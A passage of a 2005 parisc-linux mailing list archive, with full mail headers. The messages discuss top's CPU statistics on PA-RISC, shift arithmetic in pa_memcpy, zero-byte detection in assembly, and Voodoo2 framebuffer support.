	port 10024)
	with ESMTP id 20574-06 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 10 Jan 2005 10:18:41 -0700 (MST)
Original-Received: from mail-r3.tiscali.it (unknown [213.205.37.211])
	by free.linux.hp.com (Postfix) with ESMTP id 502053BE6A
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 10 Jan 2005 10:18:40 -0700 (MST)
Original-Received: from tiscali.be (10.39.113.122)
	by mail-r3.tiscali.it with ESMTP; 10 Jan 2005 18:18:38 +0100
Original-Received: from mail-5-bnl.mail.tiscali.sys ([10.39.115.135]
	helo=mail-5-bnl.tiscali.it)
	by mrq-2.tiscalinet.it with esmtp (Exim 4.43) id 1Co3Be-0007Tk-8d
	for parisc-linux@lists.parisc-linux.org; Mon, 10 Jan 2005 18:18:39 +0100
Original-Received: from [57.67.177.33] by mail-5-bnl.tiscali.it with HTTP;
	Mon, 10 Jan 2005 18:19:54 +0100
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22276

Hi all,

I just noticed this change of top behaviour (and related gkrellm ...):
top - 11:53:24 up 50 min,  2 users,  load average: 4.09, 3.67, 2.78
Tasks:  67 total,   5 running,  62 sleeping,   0 stopped,   0 zombie
Cpu0  : 88.5% us,  0.0% sy,  0.0% ni,  0.0% id,  0.0% wa, 11.5% hi,  0.0%=

si
Cpu1  : 94.8% us,  0.0% sy,  0.0% ni,  0.0% id,  0.0% wa,  5.2% hi,  0.0%=

si
Mem:   4106296k total,   159832k used,  3946464k free,    16836k buffers
Swap:   250872k total,        0k used,   250872k free,    78568k cached

This example came from the smp 64bit runing on n4k but the same on 32bit
on b2k and b180:
sy, ni, id, wa, si vlaues are constanly =3D=3D 0

Do I have to rebuild those tools localy to take into acount of the recent=

kernel changes?

Tia,
    Joel

-------------------------------------------------------------------------=
--
Tiscali solde! 1 mois et activation Gratuits, modem =E0 9,99=80
http://reg.tiscali.be/adsl/default.asp?lg=3DFR



_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: pa_memcpy: 2 small question
Date: Mon, 10 Jan 2005 09:44:20 +0100
Lines: 71
Approved: news@gmane.org
Message-ID: <41DE919200000904@mail-2-bnl.tiscali.it>
References: <20050110001356.GO18497@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623647 12518 80.91.229.3 (22 Nov 2014 02:34:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Randolph Chung" <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Jan 2005 08:44:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx054) with SMTP; 10 Jan 2005 09:44:57 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A63B83BE72; Mon, 10 Jan 2005 01:44:55 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14851-06; Mon, 10 Jan 2005 01:44:55 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E056A3BE6C; Mon, 10 Jan 2005 01:44:31 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 14A6D3BE69
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 10 Jan 2005 01:44:26 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 14662-10 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 10 Jan 2005 01:44:25 -0700 (MST)
Original-Received: from mail-r3.tiscali.it (unknown [213.205.37.211])
	by free.linux.hp.com (Postfix) with ESMTP id 984EC3BE66
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 10 Jan 2005 01:44:24 -0700 (MST)
Original-Received: from tiscali.be (10.39.113.121)
	by mail-r3.tiscali.it with ESMTP; 10 Jan 2005 09:44:23 +0100
Original-Received: from mail-2-bnl.mail.tiscali.sys ([10.39.115.132]
	helo=mail-2-bnl.tiscali.it)
	by mrq-1.tiscalinet.it with esmtp (Exim 4.43)
	id 1Cnv9x-0005c1-5Q; Mon, 10 Jan 2005 09:44:22 +0100
Original-Received: from [57.67.177.33] by mail-2-bnl.tiscali.it with HTTP;
	Mon, 10 Jan 2005 09:44:20 +0100
In-Reply-To: <20050110001356.GO18497@tausq.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22277


> > in the shift computing:
> >         /* Calculate how to shift a word read at the memory operation=

> >            aligned srcp to make it aligned for copy.  */
> >         sh_1 =3D 8 * (src % sizeof(unsigned int));
> >         sh_2 =3D 8 * sizeof(unsigned int) - sh_1;
> > 
> > what means '8' (=3D=3D 2 * word size; i.e. 2 * 32 bit because MERGE u=
se shrpw
> 
> > and so 2 (a pair of word)? )
> 
> no. 8 is # bits/byte. sh_1 is the number of bits to shift a 32-bit
> integer.
> 
Ah Ok ;-)

> what we are trying to achieve is that given two adjacent 32-bit numbers=
,
> we want to extract a 32-bit number "in the middle" of the two (aligned)=

> 32-bit values.
> 
> if you look carefully, actually the implementation of MERGE does not us=
e
> both sh_1 and sh_2.
Yes ...

> In the original implementation, MERGE was
> implemented using two SHIFT operations plus an OR operation. This was
> optimized to use shrpw because this PA insn can do all three operations=

> in a single step, so it saves a lot of cycles.
> 
Cool :-)

> > next in
> >          switch (len % 4)
> >         {
> > 
> > is '4' because as mentioned in copy_dstalign() description this 'Hand=
les
> 
> > _4_ words per loop'
> 
> yes.
> 
I need obvioulsy to understand those details beacuse to work with str I w=
ould
need to check somehow if there are a byte =3D=3D 0 in the on going word (=
I already
find a formula to do this into other arch) to jump to byte_copy (so need
more work ;-)

Thanks a lot,
    Joel

-------------------------------------------------------------------------=
--
Tiscali solde! 1 mois et activation Gratuits, modem =E0 9,99=80
http://reg.tiscali.be/adsl/default.asp?lg=3DFR



_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: pa_memcpy: 2 small question
Date: Mon, 10 Jan 2005 00:54:46 -0800
Lines: 32
Approved: news@gmane.org
Message-ID: <20050110085446.GS18497@tausq.org>
References: <20050110001356.GO18497@tausq.org>
	<41DE919200000904@mail-2-bnl.tiscali.it>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623647 12522 80.91.229.3 (22 Nov 2014 02:34:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Jan 2005 08:55:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx048) with SMTP; 10 Jan 2005 09:55:17 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 867DB3BE69; Mon, 10 Jan 2005 01:55:04 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15043-02; Mon, 10 Jan 2005 01:55:04 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 33D0E3BE71; Mon, 10 Jan 2005 01:54:57 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3CF3F3BE69
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 10 Jan 2005 01:54:52 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 14885-10 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 10 Jan 2005 01:54:51 -0700 (MST)
Original-Received: from arwen.tausq.org (legolas.tausq.org [64.81.244.109])
	by free.linux.hp.com (Postfix) with ESMTP id 41C143BE66
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 10 Jan 2005 01:54:51 -0700 (MST)
Original-Received: by arwen.tausq.org (Postfix, from userid 1000)
	id EE7386C0F3; Mon, 10 Jan 2005 00:54:46 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <41DE919200000904@mail-2-bnl.tiscali.it>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.6+20040722i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22278

> I need obvioulsy to understand those details beacuse to work with str I would
> need to check somehow if there are a byte == 0 in the on going word (I already
> find a formula to do this into other arch) to jump to byte_copy (so need
> more work ;-)

maybe you can use something like (not tested):

loop:
ldw 0(source),tmp
uaddcm,nbz tmp,%r0,%r0
b,n byte_copy
b loop
stw tmp, 0(dst)

byte_copy:
....

uaddcm should be able to let you determine if there are any 0's in the
current word in a single insn.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stuart Brady <sdbrady@ntlworld.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: pa_memcpy: 2 small question
Date: Mon, 10 Jan 2005 20:02:18 +0000
Lines: 22
Approved: news@gmane.org
Message-ID: <20050110200218.GA4595@ntlworld.com>
References: <20050110085446.GS18497@tausq.org>
	<41DE941900000C83@mail-5-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623647 12523 80.91.229.3 (22 Nov 2014 02:34:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:07 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Jan 2005 20:01:11 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx002) with SMTP; 10 Jan 2005 21:01:11 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 318743BE7A; Mon, 10 Jan 2005 13:01:08 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20809-09; Mon, 10 Jan 2005 13:01:03 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 82F043BE7C; Mon, 10 Jan 2005 13:00:28 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 073023BE7A
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 10 Jan 2005 13:00:20 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 20809-07 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 10 Jan 2005 13:00:20 -0700 (MST)
Original-Received: from mta09-winn.mailhost.ntl.com (mailhost.ntl.com [212.250.162.8])
	by free.linux.hp.com (Postfix) with ESMTP id 2051D3BE6A
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 10 Jan 2005 13:00:19 -0700 (MST)
Original-Received: from aamta03-winn.mailhost.ntl.com ([212.250.162.8])
	by mta09-winn.mailhost.ntl.com with ESMTP id
	<20050110200015.BCHF22154.mta09-winn.mailhost.ntl.com@aamta03-winn.mailhost.ntl.com>
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 10 Jan 2005 20:00:15 +0000
Original-Received: from janus ([82.9.44.89]) by aamta03-winn.mailhost.ntl.com with ESMTP
	id <20050110200015.LWNK9818.aamta03-winn.mailhost.ntl.com@janus>
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 10 Jan 2005 20:00:15 +0000
Original-Received: from sdb by janus with local (Exim 3.35 #1 (Debian))
	id 1Co5k2-0001D4-00 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 10 Jan 2005 20:02:18 +0000
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <41DE941900000C83@mail-5-bnl.tiscali.it>
User-Agent: Mutt/1.3.28i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22279

On Mon, Jan 10, 2005 at 06:12:24PM +0100, Joel Soete wrote:
> I still trying to understand the previous formula I found somewhere :
> 	; NOTE: If a null char. exists, return 0.
> 	; if ((x - 0x01010101) & ~x & 0x80808080)
> 	;     return 0;
> (here it comes from m32r/lib/useropcy.c)

It's subtracting one from each byte and checking for overflow.  If the
most significant bit is set in x - 1, but not in x, then x must be 0.
The & with ~x is used to mask out the most significant bit in each
byte, if it was already set in x.

If a byte is equal to 0, bytes to the "left" of it will be affected by
the overflow, but that doesn't matter.  Quite a neat trick, really.
-- 
Stuart Brady
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Banshee and Voodoo2
Date: Mon, 10 Jan 2005 11:09:16 +0000
Lines: 15
Approved: news@gmane.org
Message-ID: <1105313971.12028.55.camel@localhost.localdomain>
References: <Pine.BSO.4.61.0501081917230.2715@gate.helzinki.net>
	<200501091547.56765.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623648 12525 80.91.229.3 (22 Nov 2014 02:34:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Jan 2005 12:14:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx021) with SMTP; 10 Jan 2005 13:14:19 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E4CB73BE71; Mon, 10 Jan 2005 05:14:00 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16204-05; Mon, 10 Jan 2005 05:14:00 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 12DD53BE73; Mon, 10 Jan 2005 05:13:48 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 159193BE6A
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 10 Jan 2005 05:13:41 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 16204-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 10 Jan 2005 05:13:40 -0700 (MST)
Original-Received: from localhost.localdomain (unknown [81.2.110.250])
	by free.linux.hp.com (Postfix) with ESMTP id 805FB3BE66
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 10 Jan 2005 05:13:39 -0700 (MST)
Original-Received: from localhost.localdomain (localhost.localdomain [127.0.0.1])
	by localhost.localdomain (8.12.11/8.12.11) with ESMTP id j0AB9Jc1009094;
	Mon, 10 Jan 2005 11:09:20 GMT
Original-Received: (from alan@localhost)
	by localhost.localdomain (8.12.11/8.12.11/Submit) id j0AB9JbX009093;
	Mon, 10 Jan 2005 11:09:19 GMT
X-Authentication-Warning: localhost.localdomain: alan set sender to
	alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <200501091547.56765.vapier@gentoo.org>
X-Mailer: Ximian Evolution 1.4.6 (1.4.6-2) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: alan@lxorguk.ukuu.org.uk)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22280

On Sul, 2005-01-09 at 20:47, Mike Frysinger wrote:
> ive actually hooked a voodoo2 into my C360 and got Xorg working at 
> 1024x768 ... i also tried the obsidian voodoo2 (it's basically 2 voodoo2's on 
> one card), but that kernel paniced (probably because of assumptions in the fb 
> code that there's only 1 voodoo2 per card ... ?)

It shouldn't panic. It may have bugs with multiple cards. Neither Xorg
nor the fb driver support the alternate scanline modes however.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@wolfbutter.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PPPOE with BL180
Date: Mon, 10 Jan 2005 07:36:13 -0600
Lines: 70
Approved: news@gmane.org
Message-ID: <200501100736.13937.mszick@wolfbutter.com>
References: <BAY21-F174616CDCA2C6E4FFCB76892960@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-2022-jp"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623648 12529 80.91.229.3 (22 Nov 2014 02:34:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:08 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Jan 2005 13:37:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx029) with SMTP; 10 Jan 2005 14:37:20 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 4E0F33BE78; Mon, 10 Jan 2005 06:37:17 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16900-09; Mon, 10 Jan 2005 06:37:17 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id CD5E23BE74; Mon, 10 Jan 2005 06:36:56 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5FBAF3BE6A
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 10 Jan 2005 06:36:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 16900-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 10 Jan 2005 06:36:52 -0700 (MST)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id 17E033BE66
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 10 Jan 2005 06:36:52 -0700 (MST)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.12.9p2/8.12.9) with SMTP id
	j0ADapKH074341 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 10 Jan 2005 05:36:51 -0800 (PST)
	(envelope-from mszick@wolfbutter.com)
Original-Received: from [69.68.112.103] (via account 20976)
	by mx-out.daemonmail.net with ESMTP id 8O73kWl5
	authenticated by SMTP; Mon, 10 Jan 2005 05:36:50 -0800 (PST)
User-Agent: KMail/1.6.2
In-Reply-To: <BAY21-F174616CDCA2C6E4FFCB76892960@phx.gbl>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
